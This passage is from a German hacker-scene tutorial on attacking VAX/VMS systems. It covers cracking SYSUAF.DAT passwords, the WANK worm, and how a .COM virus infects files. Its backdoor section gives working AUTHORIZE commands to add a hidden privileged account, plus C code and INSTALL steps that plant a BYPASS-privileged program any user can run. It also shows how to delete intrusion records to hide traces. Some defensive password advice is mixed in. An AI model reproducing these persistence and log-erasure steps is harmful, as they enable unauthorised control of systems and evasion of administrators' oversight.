Wobei die hier genannten Bentuzernamen ohne Passwortangabe kein Passwort benoetigten. Solche Accounts werden auch Joker Accounts genannt. Standart Accounts – also Accounts die auf jedem System Standartmaessig enthalten sind, werden besonders oft von Passwortattacken heimgesucht. Das liegt daran das der Angreifer weiss, dass diese Accounts existieren und ratet daher so munter drauf los. Ein Horror Senario ist das simple Erraten des SYSTEM Accounts. So haette der Angreifer volle Kontrolle ueber das System.

 

Die Datei SYSUAF.DAT besitzt Standartmaessig folgende Zugriffsrechte: System:RWE, Owner: RWE, Group:, World:.

 

Es sei hier noch erwaehnt das die Passwoerter natuerlich nicht im Klartext gespeichert werden.

 

Benutzernamen und Gruppen sind in der Datei SYS$SYSTEM:RIGHTSLIST.DAT festgelegt. Diese Datei ist auf manchen Systemen noch lesbar fuer jedermann. Seid OpenVMS 6.0 ist dies jedoch ebenfalls passe. Die es sich fuer .DAT Dateien gehoert, ist diese Datei alles andere als einfach lesbar. Ein hex-editor ist hier keine schlechte wahl.

 

Wenn man einmal eine Liste aller Benutzer und Passwoerter besitzt, kann das muntere Passwoerter raten losgehen.

 

Wenn ein Angreifer sich irgendwie Zugriff zu der SYSUAF.DAT verschafft hat, kann er diese mit tools wie VMScrack 1.0 fuer MSDOS cracken. Mit diesem tool kann ein Angreifer das Passwort durch mehrmaliges Raten anzeigen lassen.

 

Ein Passwort wird verschluesselt in der SYSUAF.DAT aufbewahrt. Der Schluessel setzt sich aus einem angegebenem Passwort und einer Aufbereitung durch ein symetrisches Verschluesselungsverfahren zusammen. Diese Verschluesselungsverfahren koennen in der Regel nicht geknackt werden. Was Programme wie VMScrack tun, ist ein Passwort nach dem anderem zu generieren und zu ueberpruefen, ob das neu generierte Passwort dem der SYSUAF.DAT entspricht. Falls dies der Fall ist, ist das Passwort ermittelt worden. Dabei werden Passwortlisten verwendet, die beispielsweise alle Begriffe eines Lexikons oder eines Dudens durchgehen. Daher ist es Sinnvoll ein Passwort zu waehlen welches nicht in einer solchen „Datenbank“ enthalten ist.

 

Fuer John the Ripper ist vor laengerer Zeit ein patch veroeffentlicht worden, mit dem man auch VMS Passwoerter cracken kann.

 

http://www.securityfocus.com/archive/1/301218

 

Wenn ein Angreifer mit Hilfe eines tools alle MOEGLICHEN kombinationen von Zeichen nacheinander druchgeht, spricht man von Bruteforce. Je laenger und je mehr unterschiedliche Zeichen verwendet werden erschwert man solchen Angriffen den Erfolg. Beispielsweise kann man bei bestimmten tools zwischen den folgenden Optionen waehlen:

 

-[a-z]

-[A-Z]

-[a-z,A-Z]

-[1-0]

-[a-z,A-Z,1-0]

-[a-z,A-Z,1-0,!Ӥ$%&/()=?*.,-_]

 

Man kann sich an zehn Fingern abzaehlen, dass je mehr unterschiedliche Zeichen im Passwort enthalten sind, so laenger dauert der BruteForce. In den meisten faellen wird ein Angreifer nach einigen Stunden/Tagen aufgeben...

 

 

Fuer Systemadministratoren wird seid laengerem ein Programm mitgeliefert, mit dem sich Passwoerter im Bezug auf Sicherheit hin ueberpruefen lassen.

 

      SYS$COMMON:[SYSUPD]VMS$SECUREPWD.EXE

 Oder

      SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE

 

 

Mit bsw. $ MCR SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE USERNAME /GUESS

Laesst sich ueberpruefen ob “USERNAME” ein sichers Passwort ist.

 

Nachdem der Befehl ausgefuehrt ist, traegt der logische Name VMS$SECURE einen der folgenden Werte:

 

      VALID     - Passwort scheint stark zu sein

      WEAK      - Password ist schwach

      DISUSER   - Dieser Account existiert zwar, ist aber deaktiviert

      NONEXSIST – Existiert nicht

 

$ MCR SYS$COMMON:[SYSUPD]VMS$SECUREPWD_PRE70.EXE LOOM /GUESS

$ SHOW LOGICAL VMS$SECURE

 “VMS$SECURE” == “VALID”

 

Wenn man also selbst ueber den Luxus verfuegen wuerde eine VMS box zu besitzen, koennte man die gestolende SYSUAF.DAT mit der aktuellen ersetzten und testen (oder man macht es remote am ergaunertem System).

 

Desweiteren kann man bei der Sicherung von Passwoertern einige Grundregeln nennen:

 

-Passwoerter nicht im Klartext in Dateien abspeichern (und dann auch noch fuer die Gruppe oder Welt lesbar)

 

-auf Passwoerter nicht durch Kommentare in seinem Profil bsw. als Denkstuetze aufmerksam machen

 

-keine einfach erratbaren Passwoerter nehmen wie bsw. den Benutzernamen.

 

-Passwoerter nicht auf Notizzettel vermerken

 

-Passwoerter nicht uebers Netzwerk bekannt geben (z.B. ueber MAIL oder PHONE).

 

-Passwort in regelmaessigen Abstaenden aendern

 

-Moeglichst lange Passwoerter bentuzen

 

-Passwort sollte moeglichst nicht in Lexika oder Duden vorkommen

 

 

3.3    Exploiting

 

Es gibt nur wenige Exploits im Internet zu finden. Wenn dann sind es oft Ausnutzungen von flaschen Zugriffsrechten oder unerwarteten Bentuzereingaben. Buffer Overflows wird man unter VMS nicht finden, da VMS einen “none-executable” stack benutzt. Wie es mit Fromatstring oder Symlink Attacken aussieht weiss ich leider nicht. Ich habe bei meinen rechaigen nichts dergleichen gefunden.

 

Ich empfehle suchen im Internet wenn Ihr euch einige Exploits fuer VMS ansehen wollt. Z.B. ist vor kurzem beim Securityfocus ein Eintrag erschienen der eine Reihe von OpenVMS´s Schwachstellen im Webserver auflistet (feel free to $ SEARCH [THE.INTERNET] EXPLOITS).

 

 

3.4    Viren und Wuermer

 

Schon 1989 wurde die erste Warnung vor einem DECnet Wurm laut. Dieser ist unter dem Namen „WANK-Worm“ (W.COM) bekannt und war zu seiner Zeit eine Art ANTI-Atomwaffen Aktion. WANK attakierte VMS Systeme indem er sich zunaechst durch einen Standart Account namens DECnet einloggte. Dieser Account war fuer Benutzer vorgesehen, welche keine ID besassen, die aber trotzdem an dem System arbeiten wollten (welch ein nettes feature!). Daher konnte sich jeder Hannes remote mit diesem Account verbinden und brauchte kein Passwort einzugeben. Und genau hier setzte der Wurm ein.

 

Es wurde nach allen einem beschreibbaren Verzeichnis gesucht, in das sich der Wurm kopierte. Dann infizierte er alle .COM Dateien (soweit er es konnte) und meldete seinen Erfolg in der Welt. Ausserdem verfuegte der Wurm ueber Passwort abklapper mechanismen.

 

Wenn es der Wurm geschafft hat sich irgendwie die SYSNAM Privilegien zu ergattern, aenderte er den Systembanner in folgenden:

 

W O R M S    A G A I N S T    N U C L E A R    K I L L E R S
    _______________________________________________________________
    \__  ____________  _____    ________    ____  ____   __  _____/
     \ \ \    /\    / /    / /\ \       | \ \  | |    | | / /    /
      \ \ \  /  \  / /    / /__\ \      | |\ \ | |    | |/ /    /
       \ \ \/ /\ \/ /    / ______ \     | | \ \| |    | |\ \   /
        \_\  /__\  /____/ /______\ \____| |__\ | |____| |_\ \_/
         \___________________________________________________/
          \                                                 /
           \    Your System Has Been Officically WANKed    /
            \_____________________________________________/
 
     You talk of times of peace for all, and then prepare for war.

 

Der Wurm machte noch allerhand anderen quatsch – besonders mit SYSNAM Privilegien...

 

Ein Virus der eine .COM infiziert ist sehr einfach zu schreiben. Der Virus muss dazu nur sich selbst (vorrausgesetzt er ist .COM) an das ende einer .COM Datei kopieren. Naja- nicht direkt ans Ende, denn .COM Dateien enden mit dem Schluesselwort „EXIT“. Vor diesem Schluesselwort muss unser Virus. Beim infizieren von EXE Dateien, braucht man meines Erachtens nach nichts besonders zu beachten.

 

Viren und Wuermer sind also schon seid langer Zeit auch hier unter VMS ein Thema.

 

 

 

3.5 Backdoors

 

Unter dem begriff Backdoor versteht man eine Systemroutine die dem Angreifer der bereits das System erobert hat den erneuten Zugriff zu sichern. Optimaler weise natruerlich mit Systemprivilegien.

 

Eine einfache und total unsichere Methode ist es sich einen neuen Account zu erstellen.

 

$ SET DEFAULT SYS$SYSTEM

$ RUN AUTHORIZE

 

UAF> ADD NEWADMIN /UIC=555 /DEVICE=SYS$SYSDEVICE /DIRECTORY=[SYS0] /PASSWORD=owned /PRIVILEGE=SYSPRV

UAF > EXIT

$ SET HOST 0

 

    Welcome on our VMS stranger

Username: NEWADMIN

Password:

 

$ SET PROCESS /PRIVILEGE=BYPASS

 

Zunaechst haben wir uns mit dem Administrationstool “AUTHORIZE” einen neuen Account erstellt mit dem Benutzernamen NEWADMIN erstellt. Die UIC ist 555, das Passwort „owned“ und das Standart Verzeichnis ist [SYS0]. Wir geben dem neuem Account alle Privilegien mit dem Schluesselwort „ALL“ und setzen noch „BYPASS“ oben drauf. Das hat zur Folge das NEWADMIN so ziemlich alles machen kann was er moechte.

Um die Privilegien die mit AUTHORIZE gesetzt wurden auch zu nutzen, muessen wir mit dem Befehl „SET PROCESS /PRIVILEGE=BYPASS“ die Privilegien auch in Anspruch nehmen. Unsere aktuellen Rechte koennen wir uns mit „SHOW PROCESS /PRIVILEGE“ anzeigen lassen (Standart ist „TMPBMX und NETMBX“). Wer das Privileg SYSPRV besitzt, kann sich selbst Privilegien zusprechen da er SYSTEM Rechte hat.

 

Naturlich faellt so etwas sehr schnell auf, da ein Admin nur das Programm AUTHORIZE starten brauch und an dem neuem Prompt sich alle Benutzer anzeigen lassen kann.

 

UAF> LIST

UAF> EXIT

$ TYPE SYSUAF.LIS

 

Owner          Username    UIC    Account   Privs Pri  Directory

SYSTEM MANAGER SYSTEM      [1,10] SYSTEM    All     4  SYS$SYSROOT:[SYSMGR]

...

 

Mit dem LIST befehl, erstellt AUTHORIZE eine neue Datei, die den Inhalt der SYSUAF.DIS in ein leserliches Format bringt. Und zwar nennt sich diese neue Datei SYSUAF.LIS (die SYSUAF in diesem Format koennte fuer Angreifer interessant sein...) und kann ohne weiteres mit TYPE ausgegeben werden.

 

Eine andere Methode ist es wie unter *NIX Systemen eine Priviligierte Shell zu hinterlassen. Da es unter VMS keine SUID Programme gibt, muessen wir das ganze irgendwie mit Privilegien deichseln.

 

Wir gehen davon aus das wir SYSTEM Rechte haben. Man erstellt sich ein Programm welches nur einen neuen Prozess erstellt:

 

#include <stdio.h>

#include <stdlib.h>

 

long spawn_me;

 

main()

 

printf("Spawning Subprocess.....\n");

spawn_me=lib$spawn();

printf("Subprocess logged out...\n");

}

 

Das ganze compilen:

 

$ CC BACKDOOR.C

$ LINK BACKDOOR.OBJ

 

$ INSTALL

INSTALL> create backdoor/priv=(bypass) 

INSTALL> list backdoor/full   

DISK$OVMSVAXSYS:<SYS0.SYSEXE>.EXE

   BACKDOOR;1                     Prv

        Entry access count         = 0

        Privileges = BYPASS

INSTALL> exit

 

Wir veraendern die Privilegien des Programms zu „BYPASS“. Was jetzt noch fehlt, ist die moeglichkeit fuer einen total normalen Benutzer die Backdoor auszufuehren. Dazu aendern wir die World rechte so, dass jeder das Programm starten kann.

 

$ set file backdoor.exe /prot=(w:re)  !e for EXECUTE

 

Fertig! Nehmen wir mal an, wir loggen uns auf dem System mit 08/15 Rechten ein. Wie verfuegen lediglich ueber die Privilegien TMPMBX und NETMBX. Wir sind Teilnehmer einer Gruppe die nur uns als Teilnehmer kennt. Nun:

 

$ MCR [USERS.LOOM.SYSMGR]backdoor

Spawning Subprocess.....

$ SHOW PROCESS /PRIVILEGE  

 3-MAY-2002 19:10:17.55   User: DEMO             Process ID:   00000451

                          Node: MANSON           Process name: "DEMO_1"

Authorized privileges:

 BYPASS    NETMBX    TMPMBX

Process privileges:

 NETMBX               may create network device

 TMPMBX               may create temporary mailbox

Process rights:

 DEMO                              resource

 INTERACTIVE                      

 LOCAL                            

System rights:

 SYS$NODE_MANSON

$ ! Okay..  Note the "Authorized privleges".

$ SET PROCESS /PRIVILEGE=BYPASS 

$ ! thanks for your BYPASS !

 

Es sollte ebenfalls moeglich sein, eine Art Backdoor Server zu schreiben, aber dazu muss man sich etwas genauer mit den Bibliotheken vertraut machen.

 

Hier sei noch mal angemerkt, dass es im Internet um 1990 eine Secuirtywarnung gab, die auf das selbe Thema zielte. Es ging sich um das Ueberpruefen einer Backdoor, die eigentlich nach dem selben Prinzip arbeitete wie die oben aufgefuehrte. Falls ihr also eine Datei namens „SYS$LIBRARY:VMSCRTL.EXE“ finden solltet, ist das System mit einer Backdoor bestueckt. Falls jetzt ploetzlich ein Admin gruen anlaeuft weil er die File auf seinem System gefunden hat :$ MCR INSTALL SYS$LIBRARY:VMSCRTL.EXE /DELETE (ein Angreifer sollte sie moeglicherweise ausfuehren?!).

 

 

 

3.6   Logging

 

Wenn ein Angreifer sich auf einem System herrumtreibt oder ein System Angreift, ist das loggen (festhalten) von solchen Ereignissen fuer einen Admin von grosser Wichtigkeit.

 

Da VMS Systeme in der Regel durch Passwort raten erobert worden sind, hat man extra Systemroutinen eingebaut, die das staendige Raten aufzeichnen. Das ganze wurde von Zeit zu Zeit immer wieder erweitert- so sind Zugriffe auf durch ACL gesetzte Beschraenkungen auch nicht vor dem logging sicher. Um  sich die Break-in Database anzusehen, reicht der folgende Befehl aus:

 

$ SHOW INTRUSION

 

Das ganze hat das folgende Format:

 

Intrusion     Type   Count   Expiration   Source

 

Intrusion: Art des Einbruchs (o. Einbruchsversuchs)

Type: Genauere Beschreibung

Count: Anzahl der fehlgeschlagenen Login versuche von der selben Quelle.

Expiration: Dieser Wert nennt eine Toleranzgrenze von Sekunden, die angibt in welchen Zeitintervallen falsche Logins nicht als Break-in gellten sollten. Standart ist alle 5 Minuten ein falscher Loginversuch.

Source: Die Herkunft des Angriffs

 

Mit „SET AUDIT“ kann ein Admin viele Alarm-kriterien definieren.

 

Wenn ein Angreifer sich Zugriff auf die Pivilegien SECURITY und CMKRNL hat, kann er mit dem folgenden Befehl die Break-in Database loeschen:

 

$ DELETE /INTRUSION_RECORD source

 

Beispielsweise:

$ DELETE /INTRUSION_RECORD TTA0:

 

Loescht alle Eintraege die von TTA0: ausgeloest wurden. Als Source gibt man also das Geraet an, mit dem man „arbeitet“ (in diesem Falle das Terminal `TTA0:`). Ob man ALLE Eintraege loescht wenn man keine „source“ angibt weiss ich nicht.

 

Ein Anzeichen fuer einen Angreifer das mit Hilfe von „SET AUDIT“ geloggt wird, ist das vorhanden sein des Prozesses OPCOM. Dieser ist Standtmaessig nicht aktiv und hat die Aufgabe, alle Sicherheitswarnungen in die Operator Logfile zu schreiben.  Sicherheitswarnungen werden alle in die Datei SYS$MANAGER:OPERATOR.LOG geschrieben. Um sich die Informationen vernuempftig anzusehen kann man mit dem folgendem Befehl die Infos in die Datei BREAKINS.DAT schreiben.

 

SYS$MANAGER:SECAUDIT /OUTPUT=BREAKINS.DAT

 

Moeglicherweise kann man auch mit SECAUDIT die Logdateien veraendern- ich weiss es nicht...

 

 

4.0 Nachwort

 

Ich hoffe schwer, dass euch allen dieser Ausflug in die VAX/VMS Welt spass gemacht hat. Mich hat dieses Thema jedenfalls laengere Zeit gefesselt! Spannend fand ich es immer die alten Sicherheitswarnungen rund um VMS zu lesen und diese nachzuvollziehen.

 

Ein bekannter von mir sagt, dass er den Text ganz interessant findet aber meint, dass dieser Text mehr historischer Natur ist. Auf erster Linie kann ich ihm schon Recht geben. VMS wird nicht mehr nennenswert oft verwendet. Aber es wird oefters verwendet als man denkt. Ich empfehle allen Skeptikern mal einen Blick ins 60 Phrack Magazin zu werfen. Da ist ein Artikel enthalten (Traffic.txt) in dem auch ein Verwendungsbeispiel von DECnets und VMS stehen:

 

Figure 2.  ITS Topologies
-------------------------
 
         ________     ________        ________
        |COMPUTER|---|COMPUTER|------|COMPUTER|
        `--------'   `--------'      `--------'
  (coax)    |_____        |  (dialup)    |__    (radio)
                  |       |                 |
      __________  |   ____|_____       _____|_____
     |CONTROLLER|-|  |  MASTER  |__   |FIELD PROC.|__
     `----------' |  `----------'  |  `-----------'  |
      __________  |   __________   |   ___________   |
     | VAX/VMS  |-|  |  VAX/VMS |__|  |CCTV CAMERA|__|
     `----------' |  `----------'  |  `-----------'  |
      __________  |   __________   |   ___________   |
     |COUNTSTION|-|  |CONTROLLER|__|  |CONTROLLER |__|
     `----------'    `----------'     `-----------'  |
                                       ___________   |
                                      | VAX/VMS   |__|
                                      `-----------'
 
    (Physical links   (Physical links   (physical links
     EIA 232)          FSK-modem)        Fiber)
 
 
 
 
Introduction
------------
 
The traffic controller boxes that you see on the road have all a standard
configuration set when commissioned, but they are all linked to a central
office for remote configuration changes, fault reporting, resetting, etc.
The ATC houses a FEP which connects to each controller or the local exchange.
The FEP is the direct network connection to the controllers and queries the
controllers per second bases and receives the responses which are transported
to the central controlling computer [OS/2 or ALPHA VAX in S.A and UK] via
DECnet on coaxial or other means via the LAN. The controlling computer then
analysis the result and determines faults or other data and places it in the
central controlling database on a VAX/VMS. The database is then prioritized
and can be accessed via web interface on the local intranet to see fault
reports and timing info.
 
*************
-AUSZUG ENDE-

*************

 

Nicht zu vergessen: Seid OpenVMS kommt langsam wieder Schwung in die Sache!

 

Ich weiss nicht wie ihr darueber denkt, aber ich werde immer ein Auge auf dieses schoene Betriebssystem VMS und seine Verwendung/Entwicklung werfen!

 

 

5.0 Greets

 

Greets to the Excluded-Team [www.excluded.org]

  ProXy, Havoc][, Nixon, Takt, FatalError2k, X-Net, and the others!

Lovely greets to Toxic Source Developers!

  LexDiamond, Blowfish

Greets to guys like

  Sleepy, strcat, evil_matt, !ntruder, molke, WIT, BofH, BooMer/Scorp, PuNsHeR, Black8balls

 

 

“Wenn Wissen wirklich Macht ist,

              warum sind dann die Maechtigsten die Duemmsten?“

                        -l0om